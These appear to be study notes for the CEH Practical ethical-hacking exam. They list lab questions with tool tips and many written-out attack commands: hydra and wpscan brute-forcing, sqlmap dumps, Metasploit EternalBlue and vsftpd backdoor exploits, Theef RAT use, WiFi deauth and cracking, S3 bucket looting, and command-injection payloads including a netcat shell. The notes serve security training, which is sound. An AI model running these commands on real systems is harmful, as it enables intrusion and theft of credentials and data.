1. What are the commands to find the ip address of a Linux and a Windows machine?

ifconfig and ipconfig

1. Which command allows you to manage user accounts on a Windows computer ?

netuser

1. What is the Port for Remote Desktop Protocol (RDP) ?

3389

1. Write the nmap command to find the OS for the following device, 192.168.16.9 ?

nmap -O 192.168.16.9

1. Write the nmap command to find out the services running on port 3000  for the following IP (172.16.20.5) ?

nmap -p3000 172.16.20.5

1. Determine machines that are running on this particular subnet?(live hosts)
2. There has been a data breach in XXY in stock broker office. There are 4 valid employees account registered in a machine (192.168.77.130) which is used in stockbroker’s office: “guest”, “ceh”, “administrator”, “john”. Find out who the hacker is?

If the machine is current, open cmd and type net user

But if it is not access by RDP

***Question-1.   There is a machine running wamp server in the subnet. Provide the IP address of the server.***

**Tips:-**   nmap -sV -p 80,443,8080 subnet

***Question-2.  Find the FQDN of the domain controller in the network***

**Tips:-**   nmap -A -R 192.168.1.0/24

**Question-3.  Identify the machine with smb enabled. Crack the smb credentials for the username given. Access an encrypted file and decode the encrypted file to retrieve the flag.**

Tips:- nmap -p 445,139 --open -sV 192.168.1.0/24

:-enum4linux -a 192.168.1.10

:- hydra -l student -P /usr/share/wordlists/rockyou.txt smb://192.168.1.10

:-smbclient \\\\192.168.1.10\\secret -U student

smb: \> ls

flag.enc

smb: \> get flag.enc

smb: \> exit

:- file flag.enc( to identify encryption type)

**Question-4.  There is an Android device in the subnet. Identify the device. Get the files in scan folder. Provide SHA384 hash with the largest of entropy**

:-sudo nmap -A -O -sV 192.168.1.0/24

* adb connect Ip
* adb shell
* ls
* cd sdcard
* we will get the file(it can be elf file)
* pwd(print working directory)
* exit
* sudo adb pull /sdcard/scan dd/ or try by omit dd
* ls
* cd /scan/
* ent –h
* ent file.elf( checks entropy)
* sha384shum file.elf

privilege

:-

**Question-5.  Perform the vulnerability scan for the given IP address. What is the severe value of a vulnerability that indicates the end of life for a web development language platform?**

**Tips:-**Use Nessus, EOL( end of life)

Nmap –pn –script vuln IP

**Question-6.  Exploit a remote login application on a Linux target in the given subnet to access a sensitive file. Enter the content of the file.**

**Question-7.  Analyze the image file to extract the hidden message. Password is given.**

**Tips:-**   Use Open stego to reveal the secret

Tools: steghide extract –sf secret.jpg

* Outguess –k <key> -d <datafile> <imagefile>

>>>>>>Suggested lectures: Image Steganography

**Question-8.  Exploit weak credentials of FTP. Obtain the hidden file**

**Tips:-**   Use Hydra to break the password, login and access the file, and enter the flag

>>>>>>Suggested lectures: FTP Exploitation.

**Question-9.  Escalate privilege on a Linux machine. User-level credentials are given.**

**Tips:-**   Use polkit exploit to get the root access

>>>>>>Suggested lectures: Walkthrough - Escalate Privileges by Exploiting Vulnerability in pkexec

**Another privilege escalation technique**

* Ssh username@Ip
* We have to Enter password for SSH
* Sudo su
* Who am i
* Cd /
* Find . –name file.txt
* Cat file.txt

**Question-10.  Find a file entry point. File is given**

**Tips:-**   Use DIE(detect it easy) or exeinfo PE tools.

>>>>>>Suggested lectures: Analyze ELF Executable File using Detect It Easy (DIE), Find the Portable Executable (PE) Information of a Malware Executable File

**Question-11.  From a pcap file, analyze a DDOS attack and provide the IP address that sent most packets.**

**Tips:-**   Use Wireshark and statistics tab

>>>>>>Suggested lectures: Detect DDOS attack with Wireshark

**Question-12.  You are provided a username/password for a website. Use SQL Injection attack to extract the password of another user.**

**Tips:-**   Log in with the given credential. Use cookie to extract the password of a user from the table with sqlmap.

$ sqlmap -u "URL" --cookie="captured cookie of looged in user" --dbs    #for Database

$ sqlmap -u "URL" --cookie="captured cookie of looged in user" -D \*DATABASE NAME\* --tables #for Tables of selected Database

$ sqlmap -u "URL" --cookie="captured cookie of looged in user" -D \*DATABASE NAME\* -T \*TABLE NAME\* --colmns #for Column names

$ sqlmap -u "URL" --cookie="captured cookie of looged in user" -D \*DATABASE NAME\* -T \*TABLE NAME\* --dump #dump t

>>>>>>Suggested lectures: SQL Injection Vulnerabilities, SQL Injection Challenge (SQLMAP THM Free Room)

**Question-13.  Exploit a web application at www.xxxx.com and enter the flag value from given page.**

**Tips:-**  Find any input parameter on website and capture the request in burp and then use it to perform sql injection using sqlmap

sqlmap -r <txt file from burpsuite> -D <database name> --tables

sqlmap -r <txt file from burpsuite> -D <database name> --tables --columns

sqlmap -r <txt file from burpsuite> -D <database name> --dump

sqlmap -r <txt file from burpsuite> -D <database name> --tables -T users

>>>>>>Suggested lectures: SQL Injection Vulnerabilities, SQL Injection Challenge (SQLMAP THM Free Room)

**Question-14.  Perform vulnerability research and exploit the target at given site.**

**Tips:-**   Scan the target with Zapp to find the vulnerability. Then exploit it. It can be file upload/ File inclusion vulnerability on DVWA.

>>>>>>Suggested lectures: - DVWA file upload, File Inclusion

**Question-15.  Perform SQL injection on a website and extract flag value.**

**Tips:-**   Use sqlmap

>>>>>>Suggested lectures: - SQL Injection Vulnerabilities, SQL Injection Challenge (SQLMAP THM Free Room)

**Question-16.  A file is available in a directory with DVWA. Access the file and enter the contents.**

**Tips:-**   Use the file inclusion mechanism to access the file

>>>>>>Suggested lectures: - DVWA  File Inclusion

**Question-17.  Analyze IoT traffic from a pcap file. Identify the packet with the publish message and enter the length.**

**Tips:-** Open IOT capture file in wireshark. Filter; MQTT and find length of the packet in the lower pane

>>>>>>Suggested lectures: - Detect IoT traffic

**Question-18.  Crack the weak credentials of wifi from a pcap file**

**Tips:-** Use aircrack-ng to crack the password.

$ aircrack-ng '\*/target file.cap\*' -w \*/wordlist\*

>>>>>>Suggested lectures: - Walkthrough - Perform Wireless Attacks, Crack Wifi with Aircrack

**Question-19.  A RAT server is installed on a server. Connect with it and access the file.**

**Tips:-** Scan all ports with nmap (-p-). Look for the unknown ports. Use theef RAT to connect to it.

>>>>>>Suggested lectures: - Create a Trojan Server using Theef RAT Trojan

git clone https://github.com/Wh0ale/theef.git

cd theef/client

python3 theef\_client.py -t <target-IP> -p <RAT-port>

sha384sum secret.txt( if we need to versify hashes)

* Tools list(RAT): njRAT, MoSuker, ProRat, Theef, HTTP RAT

**Question-20.  Decrypt the veracrypt volume**

**Tips:-** Use veracrypt to decrypt the volume.

* Use veracrypt to log in the hidden drive
* Password is hidden in another machine
* open file
* decrypt the hash and enter the contents

>>>>>>Suggested lectures: - Disk Encryption Using Veracrypt, Calculating Hashes on Windows with different tools

1. Wpscan can be found in geeks for geeks(how to use wpscan tool in kali linux).

Wpscan --url website url or ip address

Wpscan --url website url –e u( to enumerate users).

-U –P bruteforcing password for identified users.

Wpscan --url website url –usernames /home/root9/Desktop/users.txt --passwords /home/root9/Desktop/Pass

Or id the username is given we can use

Wpscan --url website url -u root –p password.txt

If wpscan works another method to do brute forcing is using metasploit

In terminal write msfconsole

->use auxillary/scanner/http/wordpress\_login\_e

->show option

->set PASS\_File /home/attacker/desktop/wordlist/password.txt

->set RHOSTS target ip

->set RPORT target port

->exploit

9. hydra

Hydra -l muna –p butterfly 10.10.10.10 ssh

Hydra -l muna –p butterfly ftp://10.10.10.10 ….we use small l if we know the user and we use capital L if we don’t know the user

After we get credentials they will ask to find the secret.txt. to do that:-

->cmd

->ftp 10.10.10.10

ftp>get secret.txt

1. Nmap ip –sV –p 5555 Ip(scan for adb port)

* Adb connect Ip:5555 (connect ADB with parrot)
* Adb shell (access mobile device on parrot)
* Pwd 🡪ls🡪cd sdcard 🡪ls🡪cat secret.txt (if we can’t find it go to Download folder)

Question: on android device there is a secret code. What is inside the code?

First we will scan for subnets for ip with open port 5555.

* On windows download NOX player and go to setting- >device and see the IP
* Go to parrot machine.

**Steganography**

* **Snow**

**To hide:First download snow in windows -> go to download and change the name SNOW to snow. Then create a readme.txt file and**

**Snow –C –m “my swiss account number is 121212121212” –p “magic” readme.txt readme2.txt**

**To display hidden data: snow –C –p ‘magic’ readme2.txt**

Question:

In windows machine there is a file with a name secrete.txt. but when we open that secret.txt there is nothing. So find the txt inside in Secrete.txt file

**Cryptography**

Question: In download folder there is a file with a name xyz. What we will do create MD5 hash for that folder.

* We can use Hashcalc to create hash of a file.
* Veracrypt to encrypt disk

Question: There is a folder or file called encrypted drive inside that there is secret file in the encrypted drive . What is the file inside that drive? And write the secret code inside the file.

Use veracrypt Select disk and select the drive and click on mount. Then we can get the drive in local disk C. then when we open we will get the secret file.

* Cryptoforge (file and text message encryption)
* Advanced encryption package(Aep) for file encryption.
* Cracking hashes:

Hashes.com/en/decrypt/hash. Or we can use Crackstation….

Question: Secret.txt file there is a hash. Decrypt the hash

* BCTextEncoder: to decode and encode.

Question: you have been working in a company and there is a data breach. We have found an Ip address txt file of hacker and when we open it have encoded txt.

So after we copy and paste the encoded message we can get the IP address.

* Cryptool: to encrypt and decrypt rc4 and Des etc…
* Hashcalc
* **SQL Injection**

1’ OR 1=1 #

**IDOR** finding email ID by changing the ID in the url.

There is a website that have Sql injection so what is the method of that SQL injection. Use **OWASP ZAP.**

**Wireshark**

* Pcap file for Dos-Identify attacking IP

The pcap file will be given and we open it using wireshark. tcp.flags.syn ==1 and tcp.flags.ack ==0

First go to Staticstics -> IPv4 staticstics -> source and destination addresses> display filetr and copy and paste tcp.flags…..the higher number of count is the attacking machine.

* Pcap file for DDos – identify total attacking machine.

The attacing machines are machines which have higher attacking count.

* Pcap file for login credentials.- Username and Password.

The pcap file will be given and we open it using wireshark. Then in the search bar we can use http.request.method == POST…right click – follow- tcp steram….we will see username and password.

**Additional References**

1- For RAT topic check out this videos:  
https://www.youtube.com/watch?v=Uykd8MwT5kY  
https://www.youtube.com/watch?v=MZn-tT-w4WU

2- For IoT video:  
https://www.youtube.com/watch?v=63OOpMDPbv0  
  
3- For Malware Analysis:  
<https://www.youtube.com/watch?v=h_1-O7OBZkM>

Find Domain Controller:

nmap -p 389, 636, 88, 3268 192.168.0.0/24

**Enumeration & Reconnaissance**

Identify live machines on a subnet:

nmap -sn 192.168.0.0/24

Detect open ports:

nmap -p- 192.168.0.X

Find Domain Controller:

nmap -p 389, 636, 88, 3268 192.168.0.0/24

Get NetBIOS and FQDN:

nmap -sC 192.168.0.X --top-ports=20

Find OpenSSH version:

nmap -p 22 192.168.0.0/24 --open -T5 -sV

Detect OS:

Step 1: nmap -p 3306 192.168.0.X --open

Step 2: nmap -O 192.168.0.X -sV -T5

LDAP Enumeration (user count):

nmap 192.168.0.X --script=\*user\*

Get LDAP version:

ldapsearch -x -H ldap://192.168.0.X

**Service Discovery**

Check if NFS is enabled:

nmap -p 111 192.168.0.0/24 --open

DNS enumeration:

nslookup -type=ns www.certifiedhacker.com

Find SMTP service machine:

nmap -p 25 192.168.0.0/24 --open -T5

SMB enumeration (check message signing):

nmap -p 445 192.168.0.X -sC -T5

**Password Attacks**

Crack NT hashes:

john hashes.txt --format=NT --wordlist=password.txt

Brute-force FTP:

hydra -L Username.txt -P Passwords.txt 172.16.0.12 ftp

ftp 172.16.0.12

ftp> ls

ftp> mget \*

cat flag.txt

Use LophtCrack for password audit (GUI)

**File & Hash Extraction**

Upload and read file from DVWA:

Access via: http://10.10.10.25:8080/DVWA

Then use:

type C:\wamp64\www\DVWA\hackable\uploads\Hash.txt

Decrypt hash using:

https://hashes.com/en/decrypt/hash

https://crackstation.net

**Steganography & Hidden Data**

Extract hidden text using Snow:

snow.exe -C "C:\path\to\file.txt"

Use OpenStego to extract from image

Analyze .exe using BinText

Analyze ELF binary:

file Sample-ELF or use Ghidra

**Wireshark Challenges**

Filter HTTP POST leakage:

http.request.method == POST

Find data in UDP:

Use filter udp, then inspect the payload

Find ICMP ID:

Use filter icmp

Identify DoS source IP:

Use: Statistics → Conversations

Count attacking machines (DDoS):

Look at Conversations tab (IPv4 tab)

Detect session hijack protocol:

Filter arp

Check length of UDP data:

Use filter udp

**Web & CMS Enumeration**

Find nginx version:

whatweb www.example.com

Check CMS used:

whatweb / wig / wapalyzer

Crawl for PNG files:

curl http://example.com/ | grep .png | wc -l

Find load balancer:

lbd example.com or whatweb

Parameter tampering:

Try changing profile ID:

movies.cehorg.com/viewprofile.aspx?id=1003

→ Answer: linda

Bruteforce WordPress login:

wpscan --url http://cehorg.com/ -U adam -P /path/password.txt

→ Found password: Orange1234

**Command Injection**

Command injection via web form:

127.0.0.1 && net user

→ Get user count (e.g., 8 users)

**Mobile Exploitation**

Use Phonesploit to capture screenshot:

phonesploit.py

Connect to 172.16.0.21

Select option to pull screenshot:

sdcard/DCIM/capture.png

Read files from mobile:

adb shell

su root

cd sdcard/Download

cat confidential.txt

Audit APK (AntiMalwarescanner.apk) for permissions:

Use: https://sisik.eu/apk-tool

**IoT & MQTT Analysis**

Analyze MQTT traffic:

Wireshark → Filter mqtt

Check line 49 or 201

Topics: Fleet\_Count, Data Bre@ch @lert

**Encryption Challenges**

Decrypt .aes file:

Use AES Tool, password: qwerty

Mount VeraCrypt volume:

Password: test → Count files (e.g., 6)

Decrypt hidden IP:

Use BCTextEncoder → password: Pa$$w0rd

→ Example output: 10.10.10.31

Decrypt ransomware file (cryt-128–06encr.hex) using CrypTool:

Algorithm: Twofish

Hidden text: @!ph@|tE\*t

**Footprinting**

Use https://www.ipvoid.com/ip-geolocation/

→ Get latitude/longitude for IP

Use https://shodan.io

→ Check if IP relates to SCADA/ICS/IoT systems in the US

**Additional Useful Commands**

Windows service type check:

(Get-Service -Name “afunix”).ServiceType

DHCP Starvation (tcpdump):

sudo tcpdump -i eth0 -v

HTTP recon using telnet:

telnet example.com 80

GET / HTTP/1.0

I’d also like to thank the amazing people who took the time to document and share their exam experience. Please take a moment to read through their medium articles, they provide valuable insights into what to expect, common challenges, and how to approach the practical exam effectively.

https://sankalppatil12112001.medium.com/cracking-ceh-practical-exam-a-step-by-step-guide-1bc6a292921f  
https://medium.com/@akashaj1425/ceh-practical-2025-dbb8fef1e3d8  
https://medium.com/@sohailahmed0x0/ceh-practical-exam-passed-1f722b48a53e  
https://medium.com/certifications-exams/ceh-practical-certification-exam-guide-661cf82f452a  
https://medium.com/@NadeemKhadim/ceh-practical-exam-review-2023-2024-5e9417e7cfc1

**Dir busting and Vhost enumeration**

**Dir busting-** find directories and pages of a website.

**Vhost enumeration:** find subdomains of a website.

**Dir busting-**

Gobuster dir –u http:10.10.10.10 –w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Fuff –u <http://10.10.10.10/Fuzz> –w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

For finding files

Gobuster dir –u http:10.10.10.10 –w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt –x .html,.css,.js

Fuff –u <http://10.10.10.10/Fuzz> –w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt .e .html,.css,.js

**Vhost enumeration**

Gobuster vhost –u http:10.10.10.10 –w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt –append-domain

**Vhost enumeration**

Gobuster vhost –u http:10.10.10.10 –w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

**DNS Footprinting and Enumeration**

**Dig** (simple domain lookup)….example ZOntansfer.me(target website)

* dig zontransfer.me
* dig ns zontransfer.me (Name server)
* dig mx zontransfer.me (Mail server)
* dig cname zontransfer.me (cname record)

**Host** We can also use Host (to map Ip address to the website with reverse lookup)

* host zontransfer.me
* host -t ns zontransfer.me
* host -t mx zontransfer.me

**Nslookup**

* **nslookup** zontransfer.me
* **or**
* **nslookup**
* **set type=ns**
* **zonetransfer.me**

**zone transfer**

* to perform Zone transfer first know the name server by the above commands(host -t ns zontransfer.me) then
* host -l zinetransfer.me (Name server name)that we get from the above command.

or

* dig axfr zonetransfer.me (@Name server name)

Or by nslookup

* server (Name server name)
* set type=any
* ls -d zonetransfer.me

**DNS brute forcing**

Install seclists

* nmap -p 53 --script dns-brute zonetransfer.me(domain name)
* dnsmap zonetransfer.me -w /usr/share/scelists/Dsicovery/DNS/fierce-hostlists.txt
* fierce –domain zonetransfer.me –subdomain-file /usr/share/scelists/Dsicovery/DNS/fierce-hostlists.txt

**Finding Technology Stack**

Whatweb <https://ceh.com/>

**Passive Reconnaissance with Digital Certificates.**

* **Crt.sh**
* **Entrust**
* **censys**

**Scanning and Enumeration**

Identify Live hosts

**>** nmap –sn 192.168.18.1/24( ping scan to identify live hosts)

> nmap -sn -PR 192.168.18.0-255 (APRp scan ti know live hosts)

nmap -sn -PU 192.168.18.110 //UDP ping scan

nmap -sn -PE 192.168.18.1-255 //ICMP Echo Ping scan

nmap -sn -PM 192.168.18.1-255 //Mask Ping scan (use if ICMP is blocked)

nmap -sn -PP 192.168.18.1-255 //ICMP timestamp scan

nmap -sn -PS 192.168.18.1-255 //tcp syn ping scan

nmap -sn -PO 192.168.18.1-255 //IP protocol scan.use different protocols to test the connectivity

Service and OS Discovery

>nmap –sS –sV 192.168.18.1/24 ( Service and open port discovery)

nmap –sS –O 192.168.18.1( os discovery)

Comprehensive Scan

We can use the following one-liner on most of the targets to gather a lot of useful information like OS detection, version detection, script scanning, and traceroute

>sudo nmap –sS –p 445 –A 192.168.18.1

**Netbios Enumeration**

Use the following command on windows to enumerate

NetBIOS names for a target

>nbtstat -a 192.168.18.110

Nmap has a script for Netbios enumeration

>nmap -sV -v --script nbstat.nse 192.168.18.110

>nmap -sU -p 137 --script nbstat.nse 192.168.18.110

**SMB Enumeration**

sudo nmap -A –p 445 192.168.18.110

sudo nmap -sS -T4 --script vuln 192.168.18.110

>sudo nmap --script smb-os-discovery.nse 192.168.18.110

>nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 192.168.18.110

The command to access SMB share called secret and user “suit’

Smbclient //10.10.10.10/secret -U suit

If .ssh file is there when we do ls

Then cd .ssh

ls, we found id\_rsa

We have to make chmod 600 id\_rsa to make it work.

Ssh -I id\_rsa [cactus@10.10.10.10](mailto:cactus@10.10.10.10)

Ls, the we can find txt file herr

Enum4linux

>enum4linux -a 192.168.18.110

**System Hacking**

Metasploit

Step 1: scan the target: nmap –A –sC 192.168.1.2

Step 2: sudo msfconsole

Step 3: Search for the Eternal Blue exploit( if port 445 is open)(by writing serach eternal.

:use exploit/windows/smb/ms17\_010\_psexec

Step 4: Set RHOSTS to set the target and se LHOST as your kali

machine IP.

>set RHOSTS 192.168.1.2

>set LHOST 192.168.1.4

Step 5: exploit

After that by writing **ps** we can see exe files of other machine

**Vulnerability Assessment**

Searchsploit Vsftpd 2.1.1(server)

Nessus

**Exploit**

Use metaspolit (example to exploit vsftpd 2.3.4)

Step 1: sudo msf console

Step 2 : serach vsftpd( to get step 3 command)

Step3 : use exploit/unix/ftp/vsftpd\_234\_backdoor

Step 4: set RHOSTS 192.168.1.2

Step 5: exploit

**FTP exploitation**

We can use Hydra to brute force the password of an FTP user

hydra ‐l mike ‐P /usr/share/wordlists/rockyou.txt –v 10.10.223.20 ftp"

sudo nmap -sS -A -T4 10.10.10.10

terminal: ftp 10.10.10.10

login: anonymous

password : blank

ftp> ls

we will get text file. So to download text file we will use it lets say it is aa.txt

FTP> get aa.txt

In the text file we will get usernames. So the next step will be brute force the password. By using Hydra

Hydra -l mike -P /usr/share/wordlists/ rockyou.txt 10.10.10.10. ftp

**Hydra to brute force**

hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.10 'http-post- form “/admin/:user=^USER^&pass=^PASS:F=Username or password invalid” -V -I -t 4

**to crack hashes:**

john hash.txt -w=/usr/share/wordlists/ rockyou.txt

**Telnet exploitation**

telnet 10.10.10.10 443

**Command execution Vulnerabilities**

27.0.0.1 && ls

127.0.0.1 & ls

127.0.0.1 ; ls

127.0.0.1 | ls

127.0.0.1 && nc ‐c sh 127.0.0.1 9001

Medium 127.0.0.1 | ls

High 127.0.0.1 |ls

**Enumerate wordpress website**

Wpscan --url <http://wpscan.thm/> --enumerate t,p,u

Wp scan also used to bruteforce the password

Wpscan --url <http://wpscan.thm/> --usernames muna –passwords /usr/share/wordlists/rockyou.txt

**#Malware Analysis**

* Hybrid Analysis (malware scanning)
* Perform string search using Bintext
* Identify Packaging and obfuscation methods using PEid.
* Analyze ELF executable file using Detect it easy(DIE)
* Find the Portable Executable(PE) information of a malware executable file
* Identify file dependency using dependency walker
* Perform malware disassembly using (IDA pro, ollydbg, ghidra)
* Create a virus using JPS virus maker.
* Remote Access Trojan(RAT) njRatRat Trojan
* ThefRat Trojan (to create Trojan server)

**#Wifi Hacking**

**Wifi Password Cracking using aircrackng**

* Check for existing wifi adapter using Iwconfig
* Activate monitoring mode using (airmon-ng start wlan0(any wifi interface)), if process id is shown we can (kill process id)
* Capture traffic with airodump-ng wlan0mon
* airodump‐ng ‐c 6 ‐‐bssid MAC Address ‐w pass wlan0mon (capturing traffic of AP)
* aireplay‐ng ‐0 100 ‐a MAC address (Deauthenticate)
* once we see WPA Handshake (ctrl +c)
* aircrack‐ng ‐w /usr/share/wordlists/rockyou.txt ‐b MACaddress pass\*.cap( pass\*.cap is the captured handshake)..if the password list is compresses(rokyou.txt.zip unzip with gunzip)
* aircrack‐ng pass\*.cap ‐w /usr/share/wordlists/rockyou.txt

**or aircrack-ng .cap(cap file) or if password.txt file exist (aircrack-ng .cap(cap file) –w passowrf.txt**

* Captures handshake with Hcxdumptool
* Essidlist( to see available essidlist)
* Cracking with Wifite

**Wifite‐‐wpa‐‐kill ‐‐dict/usr/share/wordlists/rockyou.txt**

**#Cloud Security**

**Enumerating S3 bucket**

* **Lazys3**

**Cd lazys3**

**Ruby lazy3.rb packwheels**

* **Cloud\_enum**

**Exploiting S3 buckets unauthenticated**

* Install Awscli
* Cloud\_enum –k flaws.cloud --disable-azure --disable-gcp
* Aws s3 ls s3://flaws.cloud/ --no-sign-request( to get secret keys it can be html or sth) then to copy that
* Aws cp s3://flaws.cloud/secret.html . --no-sign request
* Cat secret.html

**Exploiting S3 buckets authenticated**

* Aws configure –profile amma
* Aws s3 --profile amma ls s3://level2-c8sdjsb23423jnv.flaws.cloud/ --no-sign-request
* Aws s3 --profile amma cp s3://level2 c8sdjsb23423jnv.flaws.cloud/secret.html . --no-sign request

**#NMAP commands**

* Nmap –Pn subnet(Tells Nmap **not to ping hosts** before scanning)
* Nmap –Sn subnet